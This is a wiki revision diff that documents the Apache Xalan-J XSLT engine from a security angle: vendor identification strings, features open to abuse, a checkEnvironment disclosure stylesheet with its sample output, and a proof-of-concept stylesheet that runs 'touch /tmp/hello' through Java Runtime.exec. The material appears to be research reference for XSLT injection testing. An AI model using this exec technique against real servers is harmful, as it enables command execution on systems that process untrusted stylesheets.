Changes for page Engine_XalanJ
on 2012/01/05 00:58
on 2012/01/11 22:47
Summary
-
Page properties (1 modified, 0 added, 0 removed)
-
Attachments (0 modified, 2 added, 0 removed)
Details
- Page properties
-
- Content
-
... ... @@ -1,14 +1,21 @@ 1 1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project. 2 2 3 3 4 -Supported XSLTversion: 1.04 +== Supported version == 5 5 6 +1.0 6 6 8 +== Command line == 9 + 10 +$> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl 11 + 12 +__Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH 13 + 7 7 == Identification strings == 8 8 9 -| 10 -| 11 -| 16 +|=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j 17 +|=xsl:vendor|Apache Software Foundation 18 +|=xsl:version|1.0 12 12 13 13 == Special features == 14 14 ... ... @@ -15,25 +15,40 @@ 15 15 * File creation 16 16 * Code execution 17 17 * JDBC connectivity 18 -* Java properties 19 -* CheckEnv()25 +* Java properties disclosure 26 +* Java environment disclosure 20 20 28 +== Java environment disclosure == 29 + 30 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]), associated to the Xalan namespace, will display some information about the execution context (packages, paths, versions, ...). The output of the execution of [[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]] is [[attached>>attach:xalanj-checkenv-output.txt]]. 31 + 32 + 33 +~|=Namespace|=Extension function|=PoC|=Sample output 34 +~|http:~~/~~/xml.apache.org/xalan/java/java.util.Date|new|~[~[xalanj-java-date.xsl>>attach~:xalanj-java-date.xsl]]|~[~[xalanj-java-date-output.txt>>attach:xalanj-java-date-output.txt]]~\~\ 35 + 36 + 37 +XX 38 + 21 21 == Java code execution == 22 22 23 - dcdcdd41 +The following code will display the current date : 24 24 25 -<pre><?xml version="1.0"?> 26 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 27 - xmlns:j="http:~/~/xml.apache.org/xalan/java" 28 - exclude-result-prefixes="j" 29 - version="1.0"> 30 - <xsl:template match="/"> 31 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 32 - <xsl:variable name="a" select="j:split($c, ' = ')"/> 33 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 34 - <xsl:variable name="p" select="j:exec($r, $a )"/> 35 - No content at the moment ... 36 - </xsl:template> 37 -</xsl:stylesheet></pre> 43 +TODO 38 38 39 -Saxon 45 +== Execution of external commands == 46 + 47 +The following code will execute the command "touch /tmp/hello" : 48 + 49 +<?xml version="1.0"?> 50 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 51 + xmlns:j="http:~/~/xml.apache.org/xalan/java" 52 + exclude-result-prefixes="j" 53 + version="1.0"> 54 + <xsl:template match="/"> 55 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 56 + <xsl:variable name="a" select="j:split($c, ' = ')"/> 57 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 58 + <xsl:variable name="p" select="j:exec($r, $a )"/> 59 + No content at the moment ... 60 + </xsl:template> 61 +</xsl:stylesheet>
- xalanj-checkenv-output.txt
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +2.5 KB - Content
-
... ... @@ -1,0 +1,31 @@ 1 +<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension> 2 + <EnvironmentCheck version="$Revision$"> 3 + <environment> 4 + <item key="version.DOM.draftlevel">2.0fd</item> 5 + <item key="java.class.path">/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar</item> 6 + <item key="version.JAXP">1.1 or higher</item> 7 + <item key="java.ext.dirs">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext</item> 8 + <item key="version.xerces2">Xerces-J 2.9.1</item> 9 + <item key="version.xerces1">not-present</item> 10 + <item key="version.xalan2_2">Xalan Java 2.7.1</item> 11 + <item key="version.xalan1">not-present</item> 12 + <item key="version.ant">not-present</item> 13 + <item key="java.version">1.6.0_26</item> 14 + <item key="version.DOM">2.0</item> 15 + <item key="version.crimson">not-present</item> 16 + <item key="sun.boot.class.path">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes</item> 17 + <foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar> 18 + <foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar> 19 + <foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar> 20 + <foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar> 21 + <foundJar desc="apparent.version" name="serializer.jar">serializer.jar present-unknown-version</foundJar> 22 + <foundJar desc="path" name="serializer.jar">/usr/share/java/serializer.jar</foundJar> 23 + <foundJar desc="apparent.version" name="xsltc.jar">xsltc.jar present-unknown-version</foundJar> 24 + <foundJar desc="path" name="xsltc.jar">/usr/share/java/xsltc.jar</foundJar> 25 + <item key="version.SAX">2.0</item> 26 + <item key="version.xalan2x">Xalan Java 2.7.1</item> 27 + </environment> 28 + <status result="OK"/> 29 + </EnvironmentCheck> 30 +</checkEnvironmentExtension> 31 +
- xalanj-checkenv.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +310 bytes - Content
-
... ... @@ -1,0 +1,11 @@ 1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 + xmlns:xalan="http://xml.apache.org/xalan" 3 + version="1.0"> 4 + 5 + <xsl:output method="xml" indent="yes" xalan:indent-amount="4"/> 6 + <xsl:template match="/"> 7 + <xsl:copy-of select="xalan:checkEnvironment()"/> 8 + </xsl:template> 9 + 10 +</xsl:stylesheet> 11 +